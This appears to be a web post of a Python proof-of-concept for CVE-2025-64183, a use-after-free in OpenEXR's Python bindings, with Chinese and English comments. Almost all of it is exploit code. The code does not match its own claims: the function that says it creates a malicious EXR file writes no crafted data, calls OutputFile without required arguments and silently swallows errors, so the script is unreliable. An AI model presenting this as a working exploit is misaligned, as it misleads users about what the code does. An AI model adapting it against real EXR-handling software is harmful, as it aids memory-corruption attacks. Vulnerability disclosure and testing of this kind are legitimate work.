CVE-2025-64183 OpenEXR PyObject_StealAttrString use-after-free漏洞

import OpenEXR import Imath import struct # 创建一个简单的PoC来触发use-after-free # 构造恶意EXR文件以触发PyObject_StealAttrString中的漏洞 def create_malicious_exr(): """ Create a malicious EXR file that triggers use-after-free in PyObject_StealAttrString when accessing specific attributes """ # OpenEXR file header with specific attributes that trigger # the vulnerable code path in PyObject_StealAttrString # The vulnerability occurs when accessing: # - PixelType.v attribute # - Box2i attributes # - V2f attributes file = OpenEXR.OutputFile('malicious.exr') # Accessing these attributes triggers the use-after-free: try: # This will trigger the vulnerable code path pixel_type = Imath.PixelType() # Accessing .v attribute calls PyObject_StealAttrString value = pixel_type.v # Triggers use-after-free except: pass # Example trigger code def trigger_vulnerability(): """ Code to trigger the use-after-free vulnerability by accessing attributes that call PyObject_StealAttrString """ import OpenEXR # Read a crafted EXR file exr_file = OpenEXR.InputFile('target.exr') # The header() access may trigger vulnerable code paths header = exr_file.header() # Access specific attributes that call PyObject_StealAttrString for key, value in header.items(): # Accessing .v, .min, .max, etc. on Imath types # triggers the vulnerable function if hasattr(value, 'v'): _ = value.v # Triggers use-after-free if hasattr(value, 'min'): _ = value.min if hasattr(value, 'max'): _ = value.max # Note: This PoC demonstrates the vulnerable code paths. # Actual exploitation requires specific memory conditions # and may vary based on Python/OpenEXR version and system. print('PoC for CVE-2025-64183: OpenEXR use-after-free in PyObject_StealAttrString')